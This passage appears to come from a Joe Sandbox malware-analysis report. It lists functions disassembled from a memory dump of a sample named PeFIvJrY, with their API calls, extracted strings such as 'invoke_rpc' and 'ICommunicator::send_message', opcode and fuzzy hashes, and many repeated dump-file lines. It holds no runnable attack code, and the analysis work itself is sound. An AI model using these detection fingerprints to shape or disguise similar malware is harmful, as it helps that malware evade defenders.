Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: bb4effc26c59d1e4558318f5f02c71e6ee0beec1415469d16b172e902c4d176e
Instruction ID: bc104558e052ee42d2c17a29909e945637320f454f8c54a17b30395cc0f2571f
Opcode Fuzzy Hash: bb4effc26c59d1e4558318f5f02c71e6ee0beec1415469d16b172e902c4d176e
Instruction Fuzzy Hash: CE419C31A00219EFCF15DF98ED81AEE7BB1FF08304F54805AF904A6211D73A9950CB58

Function 003EE480 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 003EE56A
SysAllocStringLen.OLEAUT32(external client,0000000F), ref: 003EE57F

Strings

external client, xrefs: 003EE577

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AllocClearStringVariant
String ID: external client
API String ID: 1959693985-2850503550
Opcode ID: d75ca75c1246373241b859e1eaf7b662b4a9f1ae635444481540761ab7ec061f
Instruction ID: 8fd8bee01f207a0b6a5971d80cccb1e2c1eb85f3ce3cdb8a3cc02a99ce51961b
Opcode Fuzzy Hash: d75ca75c1246373241b859e1eaf7b662b4a9f1ae635444481540761ab7ec061f
Instruction Fuzzy Hash: F93102799006A9DBCB12DF96DC01BBAB774FB15304F104A2AED19A72D0EB35E910CB94

Function 00418440 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00418539

Strings

gfff, xrefs: 004184DA
gfff, xrefs: 00418447

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: gfff$gfff
API String ID: 118556049-3084402119
Opcode ID: db5fa17803c80e63141cca86b57056796041d00cb59d0c8b520df2b5a5235220
Instruction ID: 3addcfd2374d3f6cfe2a1d3a9e7e647a9a4a307aca78603f7460f655d894d07b
Opcode Fuzzy Hash: db5fa17803c80e63141cca86b57056796041d00cb59d0c8b520df2b5a5235220
Instruction Fuzzy Hash: 65310AB26000149BDB18DF1AED819AAB75ADFC5340758826EEC06CF345EA35FD50C7A6

Function 003E9A4D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003E9B79

Strings

invoke_rpc, xrefs: 003E9B89
framework, xrefs: 003E9B8F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: framework$invoke_rpc
API String ID: 885266447-3532104870
Opcode ID: 54ce5b09c39ff25d86b8c814f5bf6a9f77caef222ac7a9d433c54767e6cc7f57
Instruction ID: b35bb9dd27fffbe073665504c6fca999603a184b8d77957ff41ca99c440bf014
Opcode Fuzzy Hash: 54ce5b09c39ff25d86b8c814f5bf6a9f77caef222ac7a9d433c54767e6cc7f57
Instruction Fuzzy Hash: 2C116D61E003542AEB21EA76DC06FAB37ACDF40310F1405AAF948971D2EA74AE44C3E5

Function 003F4490 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

CreateDispTypeInfo.OLEAUT32(00000000,00000800,00000000), ref: 003F44E4
CreateStdDispatch.OLEAUT32(00000000,00000000,00000000,00000008), ref: 003F4534

Strings

`F?, xrefs: 003F4528

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Create$DispDispatchInfoType
String ID: `F?
API String ID: 386578787-2815678348
Opcode ID: 6b0a18d15e46d528f2192db40d8b28448cc5108b0377fd0d4e7b74200097e143
Instruction ID: 5899e48055df7258b6a0cfdeb22ccb99b2be97fbaea085773f851256ecaab283
Opcode Fuzzy Hash: 6b0a18d15e46d528f2192db40d8b28448cc5108b0377fd0d4e7b74200097e143
Instruction Fuzzy Hash: DD21E271500709DFD711EF94C809BABBBF8EF45720F204169EA1A9B380DB74A904CB95

Function 004243F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0042447C
RaiseException.KERNEL32(?,?,?,?,00000001), ref: 004244A1

Part of subcall function 00427210: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00460EFC,00000017,0042372F,?,004589A4,?), ref: 00427270

Part of subcall function 0042E422: IsProcessorFeaturePresent.KERNEL32(00000017,0042FFD0), ref: 0042E43E

Strings

csm, xrefs: 00424430

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 569424fd3eafc119c8939de28ac22d5fa2fbdc26f3a87d1d7cfe1b2109301a83
Instruction ID: 7655cc3ead4a655d69129440c74f56814c3540cb4fafef13c2e8c8ba68210561
Opcode Fuzzy Hash: 569424fd3eafc119c8939de28ac22d5fa2fbdc26f3a87d1d7cfe1b2109301a83
Instruction Fuzzy Hash: 4C21AF31E002289BCF24EF95E845BAEB3B8EF80714F95441AE405BB351DA38AD44CB98

Function 004015E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

___tlregdtor.LIBCMT ref: 004016A8

Strings

CORE, xrefs: 0040163B
_TLD, xrefs: 00401665

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___tlregdtor
String ID: CORE$_TLD
API String ID: 258401038-4220718512
Opcode ID: 1a73039a95544f54b109ce19c30de66d8f7dc70288daf5bf6539da84ac2ad0e1
Instruction ID: 67a3faa56420e98cd601a6c8b851815d487cb340b98f67c497657b9b81aeea3d
Opcode Fuzzy Hash: 1a73039a95544f54b109ce19c30de66d8f7dc70288daf5bf6539da84ac2ad0e1
Instruction Fuzzy Hash: AD21ACB1A04B409FE361CF29D841B93B7E8FB09710F04496EE46E87391DBB97804CB96

Function 0042640F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E20CE

Part of subcall function 00427210: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00460EFC,00000017,0042372F,?,004589A4,?), ref: 00427270

Strings

@ >, xrefs: 003E20D6
@ >, xrefs: 003E20BD

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: @ >$@ >
API String ID: 3109751735-3421840758
Opcode ID: 9bddadf1ca33c41bf55cb5fdfb7ba4db751094876b53830b022360c08cbf6831
Instruction ID: fb0cdd26371112b554e34e81bdbe0fe93535ab397a4784194c65f56cb967adab
Opcode Fuzzy Hash: 9bddadf1ca33c41bf55cb5fdfb7ba4db751094876b53830b022360c08cbf6831
Instruction Fuzzy Hash: 12112931A0022CB7CB14BBB5FC02989776C9E00314BA08937FB14A7182FB78EA55869D

Function 00425711 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00425A09
___raise_securityfailure.LIBCMT ref: 00425AF1

Strings

pCF, xrefs: 00425AEC

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: pCF
API String ID: 3761405300-4015737121
Opcode ID: 8c6622a5dd56ee4636118929f4a62706778da63d7aff81bae41b78bcc0ad66f2
Instruction ID: 77e48fb440844a68c40b68c4872e5a1cb5d0995b7edbaa33ed3ce5318b60968c
Opcode Fuzzy Hash: 8c6622a5dd56ee4636118929f4a62706778da63d7aff81bae41b78bcc0ad66f2
Instruction Fuzzy Hash: EA21CFB4611204DEEB14CF65F9467407BA8BB89314F11413AE9088B3A1FBF59885CF5E

Function 003FC5F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,A05DD77D), ref: 003FC624

Strings

ntdll.dll, xrefs: 003FC61C
unknown, xrefs: 003FC661, 003FC697

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: HandleModule
String ID: ntdll.dll$unknown
API String ID: 4139908857-665686941
Opcode ID: f556089a122ef55d57a58c15a6626e72c1d6ee81e0fef4d39472a1cc6be404da
Instruction ID: 5201d3559591e050eb923b4bdb92d6baef7d7a6ca3c341813ab87e4b5e617296
Opcode Fuzzy Hash: f556089a122ef55d57a58c15a6626e72c1d6ee81e0fef4d39472a1cc6be404da
Instruction Fuzzy Hash: B3112B71E5410CDBDB01DF64DC42BBFB778EB04B04F14812AE911AB781EB79A904C795

Function 003FBCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(winhttp.dll,A05DD77D), ref: 003FBCD4

Strings

unknown, xrefs: 003FBD11, 003FBD47
winhttp.dll, xrefs: 003FBCCC

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: HandleModule
String ID: unknown$winhttp.dll
API String ID: 4139908857-1431162475
Opcode ID: b332a0c159b23d6f8f90c71b5db0e309c969d211aef4c31b29da3acf485318d4
Instruction ID: 9a18ccbe1448cbc336181fc0496615f2f01f01ee90a1b31c831c69a55861f01a
Opcode Fuzzy Hash: b332a0c159b23d6f8f90c71b5db0e309c969d211aef4c31b29da3acf485318d4
Instruction Fuzzy Hash: AB1108B1E4414CDBDB01DF64DC42BBFB778EB04B04F10812AF9116B681EB79A904C795

Function 003EDD10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 003FFE90: QueryUnbiasedInterruptTimePrecise.KERNELBASE ref: 003FFEFD

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003EDCD8

Strings

ICommunicator::send_message, xrefs: 003EDCE8
framework, xrefs: 003EDCEE

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: InterruptPreciseQueryTimeUnbiasedUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: ICommunicator::send_message$framework
API String ID: 58087820-3514916642
Opcode ID: d30d0b6fbd71c6956d8d1d868a7132a79fa90d816636d5ea78341d4c42e78959
Instruction ID: 450e53189016732778ed02a3e493acc35696e93a6c1280d65888556e8f27bbf6
Opcode Fuzzy Hash: d30d0b6fbd71c6956d8d1d868a7132a79fa90d816636d5ea78341d4c42e78959
Instruction Fuzzy Hash: B8F0596264031436E224692E9C0BFB3378DCBC5B20F10066A7E48572C2D9D4AC0082E4

Function 003E9B50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 003FFE90: QueryUnbiasedInterruptTimePrecise.KERNELBASE ref: 003FFEFD

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003E9B79

Strings

invoke_rpc, xrefs: 003E970E, 003E9B89
framework, xrefs: 003E9719, 003E9B8F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: InterruptPreciseQueryTimeUnbiasedUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: framework$invoke_rpc
API String ID: 58087820-3532104870
Opcode ID: 35d3e8ac11e5e5da4afa325ccd85d2b134debd955c6c9de94058398bd859a6b5
Instruction ID: dc6429e73ec58920d59cc1072fb07726c261df71c11d6cf2f9daab72ba0e6056
Opcode Fuzzy Hash: 35d3e8ac11e5e5da4afa325ccd85d2b134debd955c6c9de94058398bd859a6b5
Instruction Fuzzy Hash: A0F05562A8021436E320697A9C0BF63378C8FC1B20F14069BBE589B1C2D8E86D00C3E8

Function 003E8420 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E8453

Strings

0q>, xrefs: 003E8469
@ >, xrefs: 003E8445

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_copy
String ID: 0q>$@ >
API String ID: 2659868963-3763285519
Opcode ID: 85afc7fe0f5afb3adac00c1918e4492c616389490010d3d39002be5345a2560f
Instruction ID: 64673ceac7a804d7a160df5410aeb3033292a5e7d7cf5777b35964ab58de1c50
Opcode Fuzzy Hash: 85afc7fe0f5afb3adac00c1918e4492c616389490010d3d39002be5345a2560f
Instruction Fuzzy Hash: C4F09074E107089FC710DF69D84189AFBF8EF49300F50C6AFE85597300EBB4AA588B99

Function 003E6BD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E6C02

Strings

!7B, xrefs: 003E6BD0
@ >, xrefs: 003E6BF7

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_copy
String ID: !7B$@ >
API String ID: 2659868963-3301268938
Opcode ID: ecfe851d1484a8688aeaebb8fdfb7efc282cb451faf8c9f408223e3f980c2c56
Instruction ID: 2fe7e49d5b9a9b25b2c0f3e8065fb725355238da25f90f08629731fe561d3ff9
Opcode Fuzzy Hash: ecfe851d1484a8688aeaebb8fdfb7efc282cb451faf8c9f408223e3f980c2c56
Instruction Fuzzy Hash: 88F0A731E1020C9BC704DF68D8419CEBBF8AF45304F10C2AFE80167201EA755A548799

Function 003E72F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E730F

Strings

0q>, xrefs: 003E7317
@ >, xrefs: 003E7301

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_copy
String ID: 0q>$@ >
API String ID: 2659868963-3763285519
Opcode ID: 05d941ef53d462873975e1fa981d67e689de12c7a1a14ded9787310021d8f5f4
